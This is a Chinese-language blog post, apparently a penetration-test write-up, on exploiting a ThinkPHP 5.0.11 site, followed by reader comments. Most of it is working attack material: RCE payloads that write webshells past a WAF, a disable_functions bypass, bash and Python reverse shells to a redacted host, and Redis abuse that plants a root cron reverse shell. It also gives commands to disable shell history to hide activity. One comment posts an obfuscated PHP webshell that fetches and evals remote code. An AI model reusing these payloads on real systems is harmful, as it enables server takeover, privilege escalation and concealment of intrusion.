一次thinkphp渗透测试经历
thinkphp5的命令执行
- 打开网站,简单粗暴报错发现是
thinkphp v5.0.11
,版本不高,直接拿前一段时间的rce试下
- 在尝试的过程中发现有waf,但是漏洞好像没修,查看
phpinfo()
,发现是php是5.6.31
版本,但是禁用了很多函数?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
- 直接写一句话木马(写这么多杂乱的符号是因为
base64
之后若出现+/=
会影响生成的文件内容)s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)) MTIzNDUucGhw: 12345.php MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7 : 12<?php eval(@$_POST['a']);
- 会发现虽然文件创建了,但是内容没有写进去,被waf给拦截了。然后又尝试写入冰蝎的加密过后的马,但是有长度限制,没有成功。
##### 拿到webshell - 后来大佬给了一个可以绕过waf的马。
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7)) ok.<?php ${"`{{{"^"?<>/"}[a]($_POST[x]);;;
- 成功写入,但就算连接成功,也是没有返回数据。
- 这时候尝试用上面的马,将冰蝎的马写进去(这样可以绕一下长度的限制)
curl -d "x=@file_put_contents('qwer.php',base64_decode(PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJ F9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9));" https://xxxxxxxxxxxx/12584.php?a=assert
- 成功写入,拿到一个webshell。
- 使用冰蝎自带的命令执行终端,并没有数据返回。这时候开始考虑怎么更进一步的利用这个漏洞。
#### 进一步利用 - 刚开始的
phpinfo()
没有禁用mail
和putenv
,那么可以尝试工具bypass_disablefunc,将php文件和so文件上传到服务器,但是调用的时候发现全是乱码
- 那尝试反弹下shell(记得将命令编码一下)
/bypass_disablefunc.php?cmd=bash+-i+>%26+/dev/tcp/xxxxxx/8989+0>%261&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so
-
成功拿到shell,但是依旧和冰蝎的终端一样没有数据返回
-
然后就很懵了,这没返回怎么玩啊,后来大佬提醒说换成其他的一句话试下,就试了下python的一句话反弹shell
https://xxxxxxxx/bypass_disablefunc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxx",8989));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so
- 就比较开心的是成功拿到了shell,至于为什么,大概可能bash有问题吧。后来经大佬提醒应该是bash命令中最后的
&
被当成连接符了,所以拿到的数据没有返回。
##### 利用redis提权 - 查看内核版本,发现版本有点高,而且centos内核的提权好像还没exp。但是比较棒的是查看开放端口发现有
6379
端口,那就可以试下用redis提权了。
- 但是尝试用
redis-cli
的时候发现没有此命令
- 没有
redis-cli
怎么连接到redis啊。继续问大佬,大佬说你看下nc
有没,emm没有,那你自己安装一个静态的吧。 -
安装一个静态的ncat,并连接到6379
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat ./ncat 127.0.0.1 6379
-
因为开放的有22端口,可以使用
redis
中的ssh_keygen
方式来提权,但是发现没有权限修改目录
- 那就再尝试反弹个shell
config set dir /var/spool/cron/ config set dbfilename root set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxxxxx/1389 0>&1\n\n\n" save
- 成功拿到服务器root权限
将哑shell变成交互式shell
但是拿到的shell不能与外网交互。正好看到大佬发的记一次授权网络攻防演练,根据大佬教程,成功拿到交互式shell。
- 在哑 shell 中执行:
python -c 'import pty; pty.spawn("/bin/bash")'
- 在 VPS 中执行:
$ stty raw -echo $ fg
- 回到哑 shell 中,在哑 shell 中键入 Ctrl-l,执行:
$ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 54 columns 104
- 补充一个小点
登录ssh后不记录historyunset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG export HISTFILE=/dev/null export HISTSIZE=0 export HISTFILESIZE=0
自行加上php开始和结束符
@mntn 这个马可以过狗过阿里云
?php
$password='haha';//登录密码
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58);
$url.=$c(47).$c(47).$c(97).$c(101).$c(48).$c(49);
$url.=$c(46).$c(97).$c(108).$c(105).$c(99).$c(100);
$url.=$c(110).$c(46).$c(99).$c(111).$c(109).$c(47);
$url.=$c(107).$c(102).$c(47).$c(72).$c(50).$c(53);
$url.=$c(56).$c(49).$c(97).$c(54).$c(99).$c(97).$c(100);
$url.=$c(48).$c(54).$c(49).$c(52).$c(48).$c(53).$c(49);
$url.=$c(57).$c(50).$c(101).$c(100).$c(99).$c(54).$c(101);
$url.=$c(55).$c(102).$c(51).$c(56).$c(55).$c(53).$c(50);
$url.=$c(48).$c(53).$c(78).$c(46).$c(106).$c(112).$c(103);
$get=$c(102).$c(105).$c(108).$c(101).$c(95);
$get.=$c(103).$c(101).$c(116).$c(95).$c(99);
$get.=$c(111).$c(110).$c(116).hex2bin('656E');
$get.=$c(116).$c(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).hex2bin('7465');
@eval($un($_SESSION['PhpCode']));
?
过waf那个马我本地用不起呢?报错了
Fatal error: Function name must be a string